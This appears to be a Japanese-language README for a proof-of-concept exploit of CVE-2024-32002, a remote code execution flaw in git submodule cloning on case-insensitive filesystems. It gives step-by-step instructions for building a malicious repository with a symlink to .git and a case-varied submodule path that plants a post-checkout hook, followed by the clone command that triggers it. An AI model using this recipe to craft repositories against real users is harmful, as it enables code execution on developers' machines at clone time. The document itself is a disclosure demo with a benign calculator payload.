CVE-2024-32002 RCE POC
CVE-2024-32002 の POC です。リモートコード実行 (RCE) を実証します。
関連するサブモジュールリポジトリについては、cve-2024-32002-poc-rce を参照してください。
このリポジトリの内容
.git ディレクトリにリンクする、任意の名前のシンボリックリンク。
- 悪意のあるサブモジュールを定義する
.gitmodules ファイル。
このリポジトリを再作成する方法
このリポジトリは Linux (具体的には WSL2) で作成されました。これは重要です。悪意のあるリポジトリは、大文字と小文字を区別するファイルシステム上でのみ作成できます。
- すべて小文字を使用してシンボリックリンクを作成します
注:
- シンボリックリンクは
.git フォルダを指す必要があります。ここにファイルを書き込みたいからです。
- シンボリックリンク名 (submodule) は任意ですが、小文字で始める必要があります。
- これは重要です。小文字は大文字よりもソート順が先になるためです。クローン時にマシンがサブモジュールファイルの書き込み先を混乱した場合、通常のディレクトリではなくシンボリックリンクを選択させたいのです。
- サブモジュールディレクトリ名の大文字小文字の違いに注意して、悪意のあるサブモジュールを追加します
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
注:
- サブモジュールの名前 ("rce/notexists") は重要です。サブモジュール内にフックを配置する際に関係してきます。
- "rce" はサブモジュールのパスの最後のセグメントと一致する必要があります。
- "notexists" は、サブモジュールディレクトリ内の
hooks/post-checkout を格納するディレクトリの名前と一致する必要があります。cve-2024-32002-poc-rce を参照してください。
- サブモジュールのパス ("Submodule/modules/rce") の構造も重要です:
- サブモジュールのパスの最初のセグメント ("Submodule") は、上記のシンボリックリンク名と大文字小文字のみが異なる形で一致する必要があります。
- 2 番目のセグメント ("modules") は、サブモジュールの git ステータスを追跡する
.git ディレクトリ内のパス名と一致します。
- 3 番目のセグメント ("rce") は、上記のサブモジュール名の最初のセグメントと一致する必要があります。
POC の実行方法
この脆弱性は、Windows と MacOS のみに影響します。どちらも大文字と小文字を区別しないファイルシステムを備えているためです。
- 脆弱性のあるバージョンの git を使用しているかどうかを確認します。影響を受けるバージョンについては GitHub advisory を参照してください。
- RCE を達成できる可能性のあるコマンドを意図的に実行したいかどうかを考えてください... このリポジトリは無害ですが、本当に実行しますか?
- 次のコマンドを実行します:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- POC が機能した場合、計算を行うことができるはずです!